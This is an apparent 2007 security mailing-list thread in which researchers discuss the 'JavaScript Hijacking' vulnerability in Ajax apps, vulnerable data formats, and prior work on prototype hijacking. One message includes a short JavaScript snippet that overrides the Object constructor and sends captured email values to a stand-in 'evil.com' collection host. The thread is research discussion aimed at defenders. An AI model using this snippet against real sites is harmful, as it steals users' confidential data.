Re: [SC-L] JavaScript Hijacking
Frederik De Keukelaere <[EMAIL PROTECTED]> writes:
> Would you mind sharing the different data formats you came across for
> exchanging data in mashups/Web 2.0? Considering the challenges you
> recently discovered, it might be good to have such an overview to look at
> it from a security point of view.
Oops, sorry for taking so long to respond. In addition to JSON, I've seen
two other uses of JavaScript as a data transport format.
1) JavaScript arrays
Example: [ "a", "b", "c" ]
Technically speaking, this is a subset of JSON, but in these systems there
is no notion of an object, only an array. These systems are more vulnerable
than systems using JSON because they're guaranteed to always use array
syntax.
2) Function calls
Example: addRecord("a", "b", "c");
This format is even easier to hijack, just define the named function. This
is the worst of the bunch from a confidentiality standpoint.
Regards,
Brian
___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___
Re: [SC-L] JavaScript Hijacking
Hi Brian, Hi Stefano, > Ok I see the difference. > You are taking advantage of a pure json CSRF with a evil script which > contains a modified version of the Object prototype. > And when the callback function is executed you use a XMLHttpRequest in > order to send the information extracted by the instantiated object. In the beginning of the paper there was a comment that the code that was presented was designed for use in Firefox but could be ported to IE or other browsers. However, since IE does not seem to have the setter methods (correct me if I am wrong), I did not quite find a way to achieve this in IE. We tried several things such as replacing Array and Object constructor as well as as overriding eval, neither of which worked. Do you have any suggestions about how to port this attack to IE? Btw, thanks for the papers. Kind Regards, Fred --- Frederik De Keukelaere, Ph.D. Post-Doc Researcher IBM Research, Tokyo Research Laboratory___ Secure Coding mailing list (SC-L) SC-L@securecoding.org List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l List charter available at - http://www.securecoding.org/list/charter.php SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com) as a free, non-commercial service to the software security community. ___
Re: [SC-L] JavaScript Hijacking
Hi Brian,
Il giorno lun, 02/04/2007 alle 12.13 -0700, Brian Chess ha scritto:
> Hi Stefano,
>
> Yes, we are aware of your paper, but we intentionally chose to omit the
> reference because we are quite snobby. I'm joking!
:DD lol
> The difference between what you discuss and JavaScript Hijacking is that we
> do not assume the presence of another defect. JavaScript Hijacking does not
> require the existence of a cross-site scripting vulnerability or the like.
> It's a new attack technique (and a new vulnerable code pattern), not a new
> method for exploiting an existing class of vulnerabilities.
Ok I see the difference.
You are taking advantage of a pure json CSRF with a evil script which
contains a modified version of the Object prototype.
And when the callback function is executed you use a XMLHttpRequest in
order to send the information extracted by the instantiated object.
Well i can see that you don't require a XSS vuln on a host, but you
assume a vulnerability on a user who has to click on a link :)
Anyway, if there's a html injection on a 3rd site you could use an
iframe with an evil page like the one you described without waiting for
a user to click on an untrusted link.
Or, if you cant use iframes, as XMLHttpRequest is restricted by same
origin policy, you dont need an evil page since you could use a XSS
vulnerable site as a vector in order to steal json informations with an
img tag.
--
function Object(){
this.email setter = captureObject;
}
function captureObject(x){
(new Image()).src='http:// evil. com/ collect?email='+x;
}
--
But this is just another way to accomplish your attack.
BTW very nice paper!
Regards,
Stefano
> Thanks,
> Brian
--
...oOOo...oOOo
Stefano Di Paola
Software & Security Engineer
Web: www.wisec.it
..
signature.asc
Description: Questa รจ una parte del messaggio firmata digitalmente
___
Secure Coding mailing list (SC-L) SC-L@securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
___
Re: [SC-L] JavaScript Hijacking
Hi Stefano, Yes, we are aware of your paper, but we intentionally chose to omit the reference because we are quite snobby. I'm joking! I hadn't seen your paper previously. It was a good read. The difference between what you discuss and JavaScript Hijacking is that we do not assume the presence of another defect. JavaScript Hijacking does not require the existence of a cross-site scripting vulnerability or the like. It's a new attack technique (and a new vulnerable code pattern), not a new method for exploiting an existing class of vulnerabilities. Thanks, Brian > From: Stefano Di Paola <[EMAIL PROTECTED]> > Date: Mon, 02 Apr 2007 11:11:24 +0200 > To: "sc-l@securecoding.org" > Cc: Brian Chess <[EMAIL PROTECTED]> > Subject: Re: [SC-L] JavaScript Hijacking > > Brian, > > i don't know if you read it but me and Giorgio Fedon presented a paper > named "Subverting Ajax" at 23rd CCC Congress. > (4th section XSS Prototype Hijacking) > http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.p > df > > It described a technique called Prototype Hijacking, which is about > overriding methods and attributes by using contructors and prototyping. > It was described how to override XMLHttprequest object, but it was > stated that it could be applied to every prototype. > > If you didn't read it, please read it and add some reference to your > paper. > If you read it: > - i think we deserve at least reference to our paper. > - even if you covered JSON hijacking, the technique is the same and the > name (Javascript Hijacking) is quite similar. > > Regards, > > Stefano > ___ Secure Coding mailing list (SC-L) SC-L@securecoding.org List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l List charter available at - http://www.securecoding.org/list/charter.php SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com) as a free, non-commercial service to the software security community. ___
Re: [SC-L] JavaScript Hijacking
Brian, i don't know if you read it but me and Giorgio Fedon presented a paper named "Subverting Ajax" at 23rd CCC Congress. (4th section XSS Prototype Hijacking) http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf It described a technique called Prototype Hijacking, which is about overriding methods and attributes by using contructors and prototyping. It was described how to override XMLHttprequest object, but it was stated that it could be applied to every prototype. If you didn't read it, please read it and add some reference to your paper. If you read it: - i think we deserve at least reference to our paper. - even if you covered JSON hijacking, the technique is the same and the name (Javascript Hijacking) is quite similar. Regards, Stefano > I've been getting questions about Ajax/Web 2.0 for a few years now. Most of > the time the first question is along these lines: "Does Ajax cause any new > security problems?" Until recently, my answer has been right in line with > the answers I've heard from other corners of the world: "No." > > Then I've gone on to explain that Ajax doesn't change the rules of the game, > but it does tilt the playing field. For example: > - By splitting your code between a client and a server, you increase > you opportunity for misplacing input validation logic and access > control checks. > - Dynamic testing tools tend to have a harder time with Ajax apps. > > Now my story has changed. We've found a new type of vulnerability that only > affects Ajax-style apps. We call the attack "JavaScript Hijacking". It > enables an attacker to read confidential information from vulnerable sites. > The attack works because many Ajax apps have given up on the "x" in Ajax. > Instead of XML, they're using JavaScript as a data transport format. > > The problem is that web browsers don't protect JavaScript the same way they > protect HTML, so a malicious web site can peek into some of the JavaScript > returned from a vulnerable Ajax app. We've looked at a lot of Ajax > frameworks over the past few weeks, including Google's GWT, Microsoft Atlas, > and half a dozen open source frameworks. Almost all of them make it easy > for developers to write vulnerable code. Some of them *require* developers > to write vulnerable code. > > Our write-up on the problem, along with our proposed solution, is here: > > http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf > > Enjoy, > Brian ___ Secure Coding mailing list (SC-L) SC-L@securecoding.org List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l List charter available at - http://www.securecoding.org/list/charter.php SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com) as a free, non-commercial service to the software security community. ___
